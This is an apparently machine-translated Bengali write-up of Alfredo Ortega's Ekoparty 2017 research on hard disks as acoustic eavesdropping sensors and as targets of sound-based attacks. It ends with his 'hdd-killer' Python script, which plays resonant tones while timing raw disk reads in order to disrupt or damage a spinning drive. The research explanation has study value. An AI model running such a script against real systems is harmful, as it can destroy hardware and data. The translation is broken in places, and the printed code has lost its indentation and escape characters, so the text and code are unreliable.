āĻŦā§āĻ¯āĻŧā§āĻ¨āĻ¸ āĻāĻāĻ°ā§āĻ¸ā§ Ekoparty 2017 āĻāĻŽā§āĻĒāĻŋāĻāĻāĻžāĻ° āĻ¸āĻŋāĻāĻŋāĻāĻ°āĻŋāĻāĻŋ āĻāĻ¨āĻĢāĻžāĻ°ā§āĻ¨ā§āĻ¸ā§, āĻāĻ°ā§āĻā§āĻ¨ā§āĻāĻŋāĻ¨āĻžāĻ° āĻšā§āĻ¯āĻžāĻāĻžāĻ° āĻāĻ˛āĻĢā§āĻ°ā§āĻĄā§ āĻāĻ°ā§āĻ¤ā§āĻāĻž āĻāĻāĻāĻŋ āĻā§āĻŦ āĻāĻāĻ°ā§āĻˇāĻŖā§āĻ¯āĻŧ āĻŦāĻŋāĻāĻžāĻļ āĻĻā§āĻāĻŋāĻ¯āĻŧā§āĻāĻŋāĻ˛ā§āĻ¨ - āĻāĻāĻāĻŋ āĻŽāĻžāĻāĻā§āĻ°ā§āĻĢā§āĻ¨ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ¨āĻž āĻāĻ°ā§āĻ āĻĒā§āĻ°āĻžāĻā§āĻāĻ¨ā§ āĻā§āĻĒāĻ¨ āĻāĻ¯āĻŧā§āĻ¯āĻžāĻ°āĻā§āĻ¯āĻžāĻĒ āĻāĻ°āĻžāĻ° āĻāĻāĻāĻŋ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽāĨ¤ āĻļāĻŦā§āĻĻ
HDD āĻĒā§āĻ°āĻ§āĻžāĻ¨āĻ¤ āĻāĻā§āĻ-āĻ¤ā§āĻŦā§āĻ°āĻ¤āĻž āĻāĻŽ-āĻĢā§āĻ°āĻŋāĻā§āĻ¯āĻŧā§āĻ¨ā§āĻ¸āĻŋ āĻļāĻŦā§āĻĻ, āĻĒāĻĻāĻāĻŋāĻšā§āĻ¨ āĻāĻŦāĻ āĻ
āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻāĻŽā§āĻĒāĻ¨ āĻā§āĻ°āĻšāĻŖ āĻāĻ°ā§āĨ¤ āĻŽāĻžāĻ¨ā§āĻˇā§āĻ° āĻŦāĻā§āĻ¤ā§āĻ¤āĻž āĻāĻāĻ¨āĻ āĻ¸ā§āĻŦā§āĻā§āĻ¤ āĻšāĻ¤ā§ āĻĒāĻžāĻ°ā§ āĻ¨āĻž, āĻ¯āĻĻāĻŋāĻ āĻŦāĻŋāĻā§āĻāĻžāĻ¨ā§āĻ°āĻž
āĻļāĻŦā§āĻĻ āĻšāĻ˛ āĻŦāĻžāĻ¯āĻŧā§ āĻŦāĻž āĻ
āĻ¨ā§āĻ¯ āĻā§āĻ¨ā§ āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§āĻ° āĻāĻŽā§āĻĒāĻ¨āĨ¤ āĻāĻāĻāĻ¨ āĻŦā§āĻ¯āĻā§āĻ¤āĻŋ āĻ¤āĻžāĻĻā§āĻ° āĻāĻžāĻ¨ā§āĻ° āĻĒāĻ°ā§āĻĻāĻžāĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻāĻĒāĻ˛āĻŦā§āĻ§āĻŋ āĻāĻ°ā§, āĻ¯āĻž āĻāĻŋāĻ¤āĻ°ā§āĻ° āĻāĻžāĻ¨ā§ āĻāĻŽā§āĻĒāĻ¨ āĻĒā§āĻ°ā§āĻ°āĻŖ āĻāĻ°ā§āĨ¤ āĻŽāĻžāĻāĻā§āĻ°ā§āĻĢā§āĻ¨āĻāĻŋ āĻŽā§āĻāĻžāĻŽā§āĻāĻŋāĻāĻžāĻŦā§ āĻāĻžāĻ¨ā§āĻ° āĻŽāĻ¤ā§ āĻĄāĻŋāĻāĻžāĻāĻ¨ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§ - āĻāĻāĻžāĻ¨ā§āĻ, āĻāĻŽā§āĻĒāĻ¨āĻā§āĻ˛āĻŋ āĻāĻāĻāĻŋ āĻĒāĻžāĻ¤āĻ˛āĻž āĻāĻŋāĻ˛ā§āĻ˛āĻŋ āĻĻā§āĻŦāĻžāĻ°āĻž āĻ°ā§āĻāĻ°ā§āĻĄ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, āĻ¯āĻž āĻāĻāĻāĻŋ āĻŦā§āĻĻā§āĻ¯ā§āĻ¤āĻŋāĻ āĻāĻŦā§āĻāĻā§ āĻāĻ¤ā§āĻ¤ā§āĻāĻŋāĻ¤ āĻāĻ°ā§āĨ¤ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻāĻ, āĻ
āĻŦāĻļā§āĻ¯āĻ, āĻāĻļā§āĻĒāĻžāĻļā§āĻ° āĻŦāĻžāĻ¤āĻžāĻ¸ā§āĻ° āĻāĻ āĻžāĻ¨āĻžāĻŽāĻžāĻ° āĻāĻžāĻ°āĻŖā§ āĻŽāĻžāĻāĻā§āĻ°ā§āĻ¸ā§āĻā§āĻĒāĻŋāĻ āĻāĻŽā§āĻĒāĻ¨ā§āĻ° āĻŦāĻŋāĻˇāĻ¯āĻŧāĻāĨ¤ āĻāĻāĻŋ HDD-āĻāĻ° āĻĒā§āĻ°āĻ¯ā§āĻā§āĻ¤āĻŋāĻāĻ¤ āĻŦā§āĻļāĻŋāĻˇā§āĻā§āĻ¯ āĻĨā§āĻā§āĻ āĻāĻžāĻ¨āĻž āĻ¯āĻžāĻ¯āĻŧ: āĻ¨āĻŋāĻ°ā§āĻŽāĻžāĻ¤āĻžāĻ°āĻž āĻ¸āĻžāĻ§āĻžāĻ°āĻŖāĻ¤ āĻ¸āĻ°ā§āĻŦāĻžāĻ§āĻŋāĻ āĻ
āĻ¨ā§āĻŽā§āĻĻāĻŋāĻ¤ āĻāĻŽā§āĻĒāĻ¨ āĻ¸ā§āĻ¤āĻ° āĻ¨āĻŋāĻ°ā§āĻĻā§āĻļ āĻāĻ°ā§ āĻāĻŦāĻ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻāĻ āĻ¨āĻŋāĻā§āĻ āĻĒā§āĻ°āĻžāĻ¯āĻŧāĻļāĻ āĻāĻāĻŋ āĻ°āĻžāĻŦāĻžāĻ° āĻŦāĻž āĻ
āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻ
āĻ¨ā§āĻ¤āĻ°āĻ āĻāĻĒāĻžāĻĻāĻžāĻ¨ āĻĻāĻŋāĻ¯āĻŧā§ āĻ¤ā§āĻ°āĻŋ āĻāĻāĻāĻŋ āĻāĻŽā§āĻĒāĻ¨-āĻĒā§āĻ°āĻŽāĻžāĻŖ āĻĒāĻžāĻ¤ā§āĻ°ā§ āĻ°āĻžāĻāĻžāĻ° āĻā§āĻˇā§āĻāĻž āĻāĻ°ā§āĨ¤ āĻāĻāĻŋ āĻĨā§āĻā§ āĻ¸āĻšāĻā§āĻ āĻāĻĒāĻ¸āĻāĻšāĻžāĻ°ā§ āĻāĻ¸āĻž āĻ¯āĻžāĻ¯āĻŧ āĻ¯ā§ HDD āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻļāĻŦā§āĻĻ āĻ°ā§āĻāĻ°ā§āĻĄ āĻāĻ°āĻž āĻ¯āĻžāĻ¯āĻŧāĨ¤ āĻ¯āĻž āĻŦāĻžāĻāĻŋ āĻāĻā§ āĻ¤āĻž āĻšāĻ˛ āĻāĻŋāĻāĻžāĻŦā§ āĻŦā§āĻ° āĻāĻ°āĻžāĨ¤
āĻāĻ˛āĻĢā§āĻ°ā§āĻĄā§ āĻāĻ°ā§āĻ¤ā§āĻāĻž āĻĒāĻžāĻ°ā§āĻļā§āĻŦ-āĻā§āĻ¯āĻžāĻ¨ā§āĻ˛ āĻāĻā§āĻ°āĻŽāĻŖā§āĻ° āĻāĻāĻāĻŋ āĻ āĻ¨āĻ¨ā§āĻ¯ āĻ¸āĻāĻ¸ā§āĻāĻ°āĻŖ āĻĒā§āĻ°āĻ¸ā§āĻ¤āĻžāĻŦ āĻāĻ°ā§āĻāĻŋāĻ˛ā§āĻ¨, āĻ¯āĻĨāĻž āĻāĻāĻāĻŋ āĻ¸āĻŽāĻ¯āĻŧ āĻāĻā§āĻ°āĻŽāĻŖāĨ¤ āĻĒā§āĻ°āĻĻāĻ¤ā§āĻ¤ āĻāĻ¨āĻĒā§āĻ āĻĄā§āĻāĻžāĻ° āĻāĻĒāĻ° āĻ¨āĻŋāĻ°ā§āĻāĻ° āĻāĻ°ā§ āĻāĻ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻŋ āĻāĻ āĻ§āĻžāĻ°āĻŖāĻžāĻ° āĻāĻĒāĻ° āĻāĻŋāĻ¤ā§āĻ¤āĻŋ āĻāĻ°ā§ āĻ¯ā§ āĻĄāĻŋāĻāĻžāĻāĻ¸ā§ āĻŦāĻŋāĻāĻŋāĻ¨ā§āĻ¨ āĻ¸āĻŽāĻ¯āĻŧā§ āĻŦāĻŋāĻāĻŋāĻ¨ā§āĻ¨ āĻ āĻĒāĻžāĻ°ā§āĻļāĻ¨ āĻ¸āĻā§āĻāĻžāĻ˛āĻŋāĻ¤ āĻšāĻ¯āĻŧāĨ¤ āĻāĻ āĻā§āĻˇā§āĻ¤ā§āĻ°ā§, "āĻāĻ¨āĻĒā§āĻ āĻĄā§āĻāĻž" āĻšāĻ˛ āĻ°āĻŋāĻĄāĻŋāĻ āĻšā§āĻĄ āĻāĻŦāĻ āĻāĻāĻāĻĄāĻŋāĻĄāĻŋ āĻĒā§āĻ˛ā§āĻ¯āĻžāĻāĻžāĻ°ā§āĻ° āĻāĻŽā§āĻĒāĻ¨, āĻ¯āĻž āĻĒāĻ°āĻŋāĻŦā§āĻļā§āĻ° āĻāĻŽā§āĻĒāĻ¨ā§āĻ° āĻ¸āĻžāĻĨā§ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻāĻ¯ā§āĻā§āĻ¤, āĻ āĻ°ā§āĻĨāĻžā§ āĻļāĻŦā§āĻĻā§āĻ° āĻ¸āĻžāĻĨā§āĨ¤ āĻāĻāĻāĻžāĻŦā§, āĻāĻŖāĻ¨āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻĒāĻ°āĻŋāĻŽāĻžāĻĒ āĻāĻ°ā§ āĻāĻŦāĻ āĻĄā§āĻāĻžāĻ° āĻĒāĻ°āĻŋāĻ¸āĻāĻā§āĻ¯āĻžāĻ¨āĻāĻ¤ āĻŦāĻŋāĻļā§āĻ˛ā§āĻˇāĻŖ āĻāĻ°ā§, āĻŽāĻžāĻĨāĻž/āĻĒā§āĻ˛ā§āĻ¯āĻžāĻāĻžāĻ°ā§āĻ° āĻāĻŽā§āĻĒāĻ¨ āĻāĻŦāĻ āĻ¤āĻžāĻ āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§āĻ° āĻāĻŽā§āĻĒāĻ¨ āĻĒāĻ°āĻŋāĻŽāĻžāĻĒ āĻāĻ°āĻž āĻ¯ā§āĻ¤ā§ āĻĒāĻžāĻ°ā§āĨ¤ āĻĄā§āĻāĻž āĻĒāĻĄāĻŧāĻ¤ā§ āĻ¯āĻ¤ āĻŦā§āĻļāĻŋ āĻĻā§āĻ°āĻŋ āĻšāĻŦā§, HDD āĻāĻŽā§āĻĒāĻ¨ āĻ¤āĻ¤ āĻŦā§āĻļāĻŋ āĻļāĻā§āĻ¤āĻŋāĻļāĻžāĻ˛ā§ āĻšāĻŦā§ āĻāĻŦāĻ āĻ¤āĻžāĻ, āĻļāĻŦā§āĻĻ āĻ¤āĻ¤ āĻŦā§āĻļāĻŋ āĻšāĻŦā§āĨ¤
āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻāĻ āĻāĻŽā§āĻĒāĻ¨ āĻĒāĻ°āĻŋāĻŽāĻžāĻĒ āĻāĻŋāĻāĻžāĻŦā§? āĻā§āĻŦ āĻ¸āĻšāĻ: āĻļā§āĻ§ā§ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽ āĻāĻ˛ āĻāĻžāĻ˛āĻžāĻ¨ read ()
â āĻāĻŦāĻ āĻāĻāĻŋ āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖ āĻšāĻ¤ā§ āĻ¯ā§ āĻ¸āĻŽāĻ¯āĻŧ āĻ˛āĻžāĻā§ āĻ¤āĻž āĻ°ā§āĻāĻ°ā§āĻĄ āĻāĻ°ā§āĻ¨āĨ¤ āĻāĻ§ā§āĻ¨āĻŋāĻ āĻ
āĻĒāĻžāĻ°ā§āĻāĻŋāĻ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽ āĻāĻĒāĻ¨āĻžāĻā§ āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¸ā§āĻā§āĻ¨ā§āĻĄ āĻ¨āĻŋāĻ°ā§āĻā§āĻ˛āĻ¤āĻžāĻ° āĻ¸āĻžāĻĨā§ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽ āĻāĻ˛ā§āĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻĒāĻĄāĻŧāĻ¤ā§ āĻĻā§āĻ¯āĻŧāĨ¤
āĻāĻāĻāĻŋ āĻ¸ā§āĻā§āĻāĻ° āĻĨā§āĻā§ āĻ¤āĻĨā§āĻ¯ āĻĒāĻĄāĻŧāĻžāĻ° āĻāĻ¤āĻŋ āĻŽāĻžāĻĨāĻž āĻāĻŦāĻ āĻĒā§āĻ˛ā§āĻāĻžāĻ°ā§āĻ° āĻ āĻŦāĻ¸ā§āĻĨāĻžāĻ¨ā§āĻ° āĻāĻĒāĻ° āĻ¨āĻŋāĻ°ā§āĻāĻ° āĻāĻ°ā§, āĻ¯āĻž HDD āĻā§āĻ¸ā§āĻ° āĻāĻŽā§āĻĒāĻ¨ā§āĻ° āĻ¸āĻžāĻĨā§ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻāĻ¯ā§āĻā§āĻ¤āĨ¤ āĻāĻāĻžāĻ¨ā§āĻ āĻļā§āĻˇ.
āĻāĻāĻāĻŋ āĻ¸āĻžāĻ§āĻžāĻ°āĻŖ Kscope āĻāĻāĻāĻŋāĻ˛āĻŋāĻāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻĒāĻ°āĻŋāĻ¸āĻāĻā§āĻ¯āĻžāĻ¨āĻāĻ¤ āĻŦāĻŋāĻļā§āĻ˛ā§āĻˇāĻŖ āĻāĻ°āĻž āĻšāĻ¯āĻŧāĨ¤ āĻ¯ā§āĻŽāĻ¨ āĻ¤āĻžāĻ°āĻž āĻŦāĻ˛ā§, āĻŦā§āĻĻā§āĻ§āĻŋāĻŽāĻžāĻ¨ āĻ¸āĻŦāĻāĻŋāĻā§āĻ āĻ¸āĻšāĻāĨ¤
Kscope āĻāĻāĻāĻŋāĻ˛āĻŋāĻāĻŋ (stat() syscall)
āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽ āĻāĻ˛ āĻāĻā§āĻ¸āĻŋāĻāĻŋāĻāĻļāĻ¨ āĻ¸āĻŽāĻ¯āĻŧā§āĻ° āĻā§āĻˇā§āĻĻā§āĻ° āĻĒāĻžāĻ°ā§āĻĨāĻā§āĻ¯āĻā§āĻ˛āĻŋ āĻāĻ˛ā§āĻĒāĻ¨āĻž āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ Kscope āĻšāĻ˛ āĻāĻāĻāĻŋ āĻā§āĻ āĻāĻāĻāĻŋāĻ˛āĻŋāĻāĻŋāĨ¤ āĻā§āĻ¸
āĻāĻāĻāĻŋ āĻĒā§āĻĨāĻ āĻāĻžāĻ¨ā§āĻĄāĻžāĻ°ā§ read ()
.
HDD āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻ¸āĻžāĻāĻ¨ā§āĻĄ āĻ°ā§āĻāĻ°ā§āĻĄāĻŋāĻāĻ¯āĻŧā§āĻ° āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻ¨, āĻā§āĻ¸ā§āĻā§āĻĒ āĻāĻāĻāĻŋāĻ˛āĻŋāĻāĻŋāĻ° āĻ āĻĒāĻžāĻ°ā§āĻļāĻ¨
āĻ āĻŦāĻļā§āĻ¯āĻ, āĻŦāĻā§āĻ¤ā§āĻ¤āĻž āĻāĻāĻžāĻŦā§ āĻŦā§āĻāĻž āĻ¯āĻžāĻ¯āĻŧ āĻ¨āĻž, āĻ¤āĻŦā§ āĻāĻŽā§āĻĒāĻ¨ āĻ¸ā§āĻ¨ā§āĻ¸āĻ° āĻšāĻŋāĻ¸āĻžāĻŦā§ HDD āĻŦā§āĻļ āĻāĻĒāĻ¯ā§āĻā§āĻ¤āĨ¤ āĻāĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§āĻĒ, āĻāĻĒāĻ¨āĻŋ āĻ°ā§āĻāĻŋāĻ¸ā§āĻāĻžāĻ° āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨ āĻ¯āĻĻāĻŋ āĻļāĻā§āĻ¤ āĻā§āĻ¤āĻž āĻŦāĻž āĻāĻžāĻ˛āĻŋ āĻĒāĻžāĻ¯āĻŧā§ āĻā§āĻ¨āĻ āĻŦā§āĻ¯āĻā§āĻ¤āĻŋ āĻāĻŽā§āĻĒāĻŋāĻāĻāĻžāĻ° āĻ¸āĻš āĻāĻāĻāĻŋ āĻāĻ°ā§ āĻĒā§āĻ°āĻŦā§āĻļ āĻāĻ°ā§ (āĻ¸āĻŽā§āĻāĻŦāĻ¤, āĻ¯āĻĻāĻŋ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§ āĻ¨āĻ°āĻŽ āĻ¸ā§āĻ¨āĻŋāĻāĻžāĻ°ā§āĻ¸ āĻĒāĻ°ā§ āĻĨāĻžāĻā§ āĻŦāĻž āĻŽā§āĻā§āĻ¤ā§ āĻāĻāĻāĻŋ āĻĒā§āĻ°ā§ āĻāĻžāĻ°ā§āĻĒā§āĻ āĻĨāĻžāĻā§ āĻ¤āĻŦā§ HDD āĻāĻŽā§āĻĒāĻ¨ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻ¨ āĻāĻ°āĻ¤ā§ āĻ¸āĻā§āĻˇāĻŽ āĻšāĻŦā§ āĻ¨āĻž - āĻāĻāĻŋ āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻ°āĻžāĻ° āĻŽāĻ¤ā§)āĨ¤ āĻāĻŽā§āĻĒāĻŋāĻāĻāĻžāĻ° āĻāĻžāĻā§āĻāĻž āĻāĻžāĻ āĻŦāĻž āĻ āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻāĻāĻ¨āĻžāĻā§ āĻļāĻā§āĻ¤āĻŋāĻļāĻžāĻ˛ā§ āĻļāĻŦā§āĻĻā§āĻ° āĻ¤ā§āĻŦā§āĻ°āĻ¤āĻžāĻ° āĻ¸āĻžāĻĨā§ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻ¨ āĻāĻ°āĻ¤ā§ āĻ¸āĻā§āĻˇāĻŽāĨ¤ āĻ āĻ°ā§āĻĨāĻžā§, āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻāĻ āĻāĻ āĻ§āĻ°āĻŖā§āĻ° āĻ āĻ¨āĻ¨ā§āĻŽā§āĻĻāĻŋāĻ¤ āĻ āĻ¨ā§āĻĒā§āĻ°āĻŦā§āĻļ āĻ¸āĻ¨āĻžāĻā§āĻ¤āĻāĻ°āĻŖ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽ āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻāĻžāĻ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĨ¤
HDD āĻšāĻ¤ā§āĻ¯āĻžāĻāĻžāĻ°ā§
āĻ¯āĻžāĻāĻšā§āĻ, āĻāĻāĻāĻŋ āĻ āĻ¨ā§āĻ°ā§āĻĒ āĻā§āĻļāĻ˛ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻāĻ āĻ¨āĻŋāĻˇā§āĻā§āĻ°āĻŋāĻ¯āĻŧ āĻāĻ°āĻ¤ā§ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻž āĻ¯ā§āĻ¤ā§ āĻĒāĻžāĻ°ā§āĨ¤ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻāĻāĻžāĻ¨ā§ āĻāĻŽāĻ°āĻž āĻāĻāĻāĻĄāĻŋāĻĄāĻŋ āĻĨā§āĻā§ āĻĻā§āĻ˛āĻ¨āĻā§āĻ˛āĻŋ āĻ¸āĻ°āĻŋāĻ¯āĻŧā§ āĻĢā§āĻ˛āĻŋ āĻ¨āĻž, āĻ¤āĻŦā§ āĻŦāĻŋāĻĒāĻ°ā§āĻ¤ā§, āĻāĻŽāĻ°āĻž āĻĻā§āĻ˛āĻāĻā§āĻ˛āĻŋ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻŋ āĻ¯āĻž āĻāĻāĻāĻĄāĻŋāĻĄāĻŋāĻā§ āĻāĻžāĻāĻ¯āĻŧāĻžāĻ¨ā§ āĻšāĻ¯āĻŧāĨ¤ āĻāĻĒāĻ¨āĻŋ āĻ¯āĻĻāĻŋ HDD āĻĢā§āĻ°āĻŋāĻā§āĻ¯āĻŧā§āĻ¨ā§āĻ¸āĻŋāĻ° āĻ¸āĻžāĻĨā§ āĻ āĻ¨ā§āĻ°āĻŖāĻŋāĻ¤ āĻĢā§āĻ°āĻŋāĻā§āĻ¯āĻŧā§āĻ¨ā§āĻ¸āĻŋāĻ¤ā§ āĻ¸ā§āĻĒāĻŋāĻāĻžāĻ° āĻĨā§āĻā§ āĻļāĻŦā§āĻĻ āĻŦāĻžāĻāĻžāĻ¨, āĻ¤āĻžāĻšāĻ˛ā§ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽāĻāĻŋ āĻļā§āĻā§āĻ°āĻ āĻāĻāĻāĻŋ I/O āĻ¤ā§āĻ°ā§āĻāĻŋ āĻ¸āĻš āĻĄāĻŋāĻāĻžāĻāĻ¸āĻāĻŋ āĻŦāĻ¨ā§āĻ§ āĻāĻ°ā§ āĻĻā§āĻ¯āĻŧ (āĻ˛āĻŋāĻ¨āĻžāĻā§āĻ¸ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ 120 ââāĻ¸ā§āĻā§āĻ¨ā§āĻĄ āĻĒāĻ°ā§ HDD āĻ¸āĻŽā§āĻĒā§āĻ°ā§āĻŖāĻ°ā§āĻĒā§ āĻŦāĻ¨ā§āĻ§ āĻāĻ°ā§ āĻĻā§āĻ¯āĻŧ)āĨ¤ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻāĻ āĻ¨āĻŋāĻā§āĻ āĻ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ā§āĻ¯āĻŧ āĻā§āĻˇāĻ¤āĻŋāĻ° āĻ¸āĻŽā§āĻŽā§āĻā§āĻ¨ āĻšāĻ¤ā§ āĻĒāĻžāĻ°ā§āĨ¤
āĻ˛āĻŋāĻ¨āĻžāĻā§āĻ¸ āĻāĻžāĻ°ā§āĻ¨ā§āĻ˛ āĻāĻĄāĻŋāĻĢāĻžāĻ¯āĻŧāĻžāĻ° r120u āĻāĻāĻāĻ¸āĻŦāĻŋ āĻ¸ā§āĻĒāĻŋāĻāĻžāĻ°ā§āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻ
āĻ¨ā§āĻ°āĻŖāĻŋāĻ¤ āĻĢā§āĻ°āĻŋāĻā§āĻ¯āĻŧā§āĻ¨ā§āĻ¸āĻŋāĻ¤ā§ āĻļāĻŦā§āĻĻ āĻ¸āĻ°āĻŦāĻ°āĻžāĻš āĻāĻ°āĻžāĻ° 19 āĻ¸ā§āĻā§āĻ¨ā§āĻĄ āĻĒāĻ°ā§ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻāĻāĻāĻŋ āĻŦāĻ¨ā§āĻ§ āĻāĻ°ā§ āĻĻā§āĻ¯āĻŧāĨ¤ āĻ¸ā§āĻĒāĻŋāĻāĻžāĻ°āĻāĻŋ āĻļāĻā§āĻ¤āĻŋāĻ° āĻĒā§āĻ°āĻžāĻ¯āĻŧ āĻāĻ āĻāĻ¤ā§āĻ°ā§āĻĨāĻžāĻāĻļ (100 āĻŽā§āĻāĻžāĻāĻ¯āĻŧāĻžāĻā§āĻ° āĻāĻŽ) āĻ āĻāĻžāĻ˛ā§ āĻāĻ°āĻž āĻšāĻ¯āĻŧ āĻāĻŦāĻ āĻāĻŽā§āĻĒāĻ¨ āĻŦāĻžāĻĄāĻŧāĻžāĻ¨ā§āĻ° āĻāĻ¨ā§āĻ¯ āĻā§āĻŦāĻŋāĻ˛ā§ āĻ˛āĻā§āĻˇā§āĻ¯ āĻāĻ°ā§ HDD āĻĨā§āĻā§ 20 āĻ¸ā§āĻŽāĻŋ āĻĻā§āĻ°ā§ āĻ
āĻŦāĻ¸ā§āĻĨāĻŋāĻ¤āĨ¤ āĻĨā§āĻā§ āĻĢā§āĻ°ā§āĻŽ
āĻāĻāĻž āĻā§āĻ¤ā§āĻšāĻ˛āĻāĻ¨āĻ āĻ¯ā§ HDD-āĻ¤ā§ āĻāĻ āĻ§āĻ°āĻ¨ā§āĻ° "āĻāĻā§āĻ°āĻŽāĻŖ" āĻāĻāĻ¨āĻ āĻāĻāĻ¨āĻ āĻĻā§āĻ¨āĻ¨ā§āĻĻāĻŋāĻ¨ āĻā§āĻŦāĻ¨ā§ āĻĻā§āĻ°ā§āĻāĻāĻ¨āĻžāĻā§āĻ°āĻŽā§ āĻāĻā§āĨ¤ āĻāĻĻāĻžāĻšāĻ°āĻŖ āĻ¸ā§āĻŦāĻ°ā§āĻĒ, 2016 āĻ¸āĻžāĻ˛ā§āĻ° āĻ¸ā§āĻĒā§āĻā§āĻŽā§āĻŦāĻ°ā§, ING āĻŦā§āĻ¯āĻžāĻā§āĻ āĻĄā§āĻāĻž āĻ¸ā§āĻ¨ā§āĻāĻžāĻ° āĻāĻāĻāĻŋ āĻĢāĻžāĻ¯āĻŧāĻžāĻ° āĻĄā§āĻ°āĻŋāĻ˛ā§āĻ° āĻĒāĻ°ā§ 10 āĻāĻ¨ā§āĻāĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻ
āĻĒāĻžāĻ°ā§āĻļāĻ¨ āĻ¸ā§āĻĨāĻāĻŋāĻ¤ āĻāĻ°āĻ¤ā§ āĻŦāĻžāĻ§ā§āĻ¯ āĻšāĻ¯āĻŧā§āĻāĻŋāĻ˛āĨ¤
āĻāĻāĻāĻŋ āĻĄā§āĻāĻž āĻ¸ā§āĻ¨ā§āĻāĻžāĻ°ā§ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻāĻā§ āĻŽāĻžāĻ¨ā§āĻˇā§āĻ° āĻāĻŋā§āĻāĻžāĻ°ā§āĻ° āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻ¨āĨ¤ āĻ˛ā§āĻā§āĻ¨ā§āĻ¸āĻŋ āĻĒāĻ°āĻŋāĻŽāĻžāĻĒ
āĻ āĻ¨ā§āĻ°āĻŖāĻŋāĻ¤ āĻļāĻŦā§āĻĻ āĻ¤ā§āĻ°āĻŋ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻ˛āĻĢā§āĻ°ā§āĻĄā§ āĻāĻ°ā§āĻ¤ā§āĻāĻž āĻāĻāĻāĻŋ āĻĒāĻžāĻāĻĨāĻ¨ āĻ¸ā§āĻā§āĻ°āĻŋāĻĒā§āĻ āĻ˛āĻŋāĻā§āĻāĻŋāĻ˛ā§āĻ¨
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
